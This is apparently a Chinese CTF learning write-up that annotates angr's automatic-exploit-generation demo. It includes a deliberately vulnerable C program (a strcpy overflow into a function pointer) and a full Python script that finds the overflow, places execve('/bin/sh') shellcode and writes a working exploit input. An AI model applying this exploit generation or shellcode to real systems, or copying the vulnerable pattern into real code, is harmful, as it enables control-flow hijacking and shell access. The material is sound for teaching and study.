在一步一步靠近ctf实战的aeg解体过程中,我们首先使用angr给的一个demo来熟悉angr如何使用的。
源码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
char component_name[128] = {0};
typedef struct component {
char name[32];
int (*do_something)(int arg);
} comp_t;
int sample_func(int x) {
printf(" - %s - recieved argument %d\n", component_name, x);
}
comp_t *initialize_component(char *cmp_name) {
int i = 0;
comp_t *cmp;
cmp = malloc(sizeof(struct component));
cmp->do_something = sample_func;
printf("Copying component name...\n");
strcpy(cmp->name, cmp_name);
cmp->name[i] = '\0';
return cmp;
}
int main(void)
{
comp_t *cmp;
printf("Component Name:\n");
read(0, component_name, sizeof component_name);
printf("Initializing component...\n");
cmp = initialize_component(component_name);
printf("Running component...\n");
mprotect((void*)((long)&component_name & ~0xfff), 0x1000, PROT_READ | PROT_EXEC);
cmp->do_something(1);
}
给的这个源码逻辑很简单
定义了一个component结构体,结构体里面一个名字,一个函数。
函数会给个print函数
我们可以输入名字,用这个名字来创建一个结构体
但是漏洞就在于名字最多可以128,但是给的那个结构体长度只有32,会造成缓冲区溢出
查看了一下保护
因为没有开NX,我们可以直接把shellcode写在里面,然后覆盖函数指针为shellcode的地址,即可利用。
import os
import sys
import angr
import subprocess
import logging
from angr import sim_options as so
l = logging.getLogger("insomnihack.simple_aeg")
# shellcraft i386.linux.sh
shellcode = bytes.fromhex("6a68682f2f2f73682f62696e89e331c96a0b5899cd80")
def fully_symbolic(state, variable):
'''
check if a symbolic variable is completely symbolic
'''
#上面有个官方注释说检查是否有符号化变量完全符号化
for i in range(state.arch.bits): #总共需要判断那么多位
if not state.solver.symbolic(variable[i]): #判断的内容是那个玩意有没有符号化
return False
return True
#
def check_continuity(address, addresses, length):
'''
dumb way of checking if the region at 'address' contains 'length' amount of controlled memory.
'''
#就是检查地址加上长度是不是都是受控的,能用的
for i in range(length):
if not address + i in addresses:
return False
return True
def find_symbolic_buffer(state, length):
'''
dumb implementation of find_symbolic_buffer, looks for a buffer in memory under the user's control
'''
# 找内存中可以用的缓冲区
# get all the symbolic bytes from stdin
stdin = state.posix.stdin #传入程序的所有符号变量
sym_addrs = [ ]
for _, symbol in state.solver.get_variables('file', stdin.ident): #遍历符号
sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables)))) #返回带内存符号的符号变量
for addr in sym_addrs: #把地址取出来检查一下
if check_continuity(addr, sym_addrs, length):
yield addr
def main(binary):
p = angr.Project(binary, auto_load_libs=False) #初始化一个angr项目,第一个参数是二进制程序,第二个参数是不去自动加载lib库
binary_name = os.path.basename(binary) #获得二进制文件的路径名
extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY} #是一个字典
es = p.factory.entry_state(add_options=extras) #把那个字典当参数来获得一个以二进制入口为开始的状态
sm = p.factory.simulation_manager(es, save_unconstrained=True) #初始化模拟管理器 后面的参数说的是将不受约束的状态放在这
# find a bug giving us control of PC
l.info("looking for vulnerability in '%s'", binary_name)
#输出一个信息,就是说在找那个漏洞点
exploitable_state = None
while exploitable_state is None:
print(sm)
sm.step() #将所有状态单步推进一个基本块
if len(sm.unconstrained) > 0:
l.info("found some unconstrained states, checking exploitability")
#就像他说的发现有不受约束的状态
for u in sm.unconstrained: #遍历不受约束的状态
if fully_symbolic(u, u.regs.pc): #判读的是pc
exploitable_state = u #把可利用的状态拿出来
break
# no exploitable state found, drop them
sm.drop(stash='unconstrained')
#跟注释一样,如果没找到能利用的状态,就删掉它
#然后说了句话说没找到可利用状态
l.info("found a state which looks exploitable")
ep = exploitable_state
#判断寄存器 pc 是否为符号值。若是,这代表我们可以控劫持控制流,该状态可利用,跳出循环。如果未约束状态无法利用
assert ep.solver.symbolic(ep.regs.pc), "PC must be symbolic at this point"
#这里说现在程序肯定都符号化了
#然后在尝试去找可利用的路子
l.info("attempting to create exploit based off state")
# keep checking if buffers can hold our shellcode
# 一直检查看buffer能不能装的下我们的shellcode
for buf_addr in find_symbolic_buffer(ep, len(shellcode)):
l.info("found symbolic buffer at %#x", buf_addr) #这就是找到的buffer
memory = ep.memory.load(buf_addr, len(shellcode)) #用符号拿出内存来
sc_bvv = ep.solver.BVV(shellcode) #将shellcode转化为位向量
# check satisfiability of placing shellcode into the address
# 检查shellcode放入那个内存的可满足行
#如果满足那两条约束,就加上那两条约束
#约束时buffer能写shellcode
#pc可以指向buffer
if ep.satisfiable(extra_constraints=(memory == sc_bvv,ep.regs.pc == buf_addr)):
l.info("found buffer for shellcode, completing exploit")
ep.add_constraints(memory == sc_bvv)
l.info("pointing pc towards shellcode buffer")
ep.add_constraints(ep.regs.pc == buf_addr)
break
else:
l.warning("couldn't find a symbolic buffer for our shellcode! exiting...")
return 1
#对标准输入进行约束求解,然后写进文件
filename = '%s-exploit' % binary_name
with open(filename, 'wb') as f:
f.write(ep.posix.dumps(0))
print("%s exploit in %s" % (binary_name, filename))
print("run with `(cat %s; cat -) | %s`" % (filename, binary))
return 0
def test():
main('./demo_bin')
assert subprocess.check_output('(cat ./demo_bin-exploit; echo echo BUMO) | ./demo_bin', shell=True) == b'BUMO\n'
#一个test函数,把生成的文件里面的输入拿出来给了程序,看能不能成功
if __name__ == '__main__':
# silence some annoying logs
# 让日志的一些输出停下来
logging.getLogger("angr").setLevel("CRITICAL")
l.setLevel("INFO")
if len(sys.argv) > 1:
sys.exit(main(sys.argv[1]))
else:
print("%s: <binary>" % sys.argv[0])
脚本的解释都在注释了
跑一下
看得出来是成了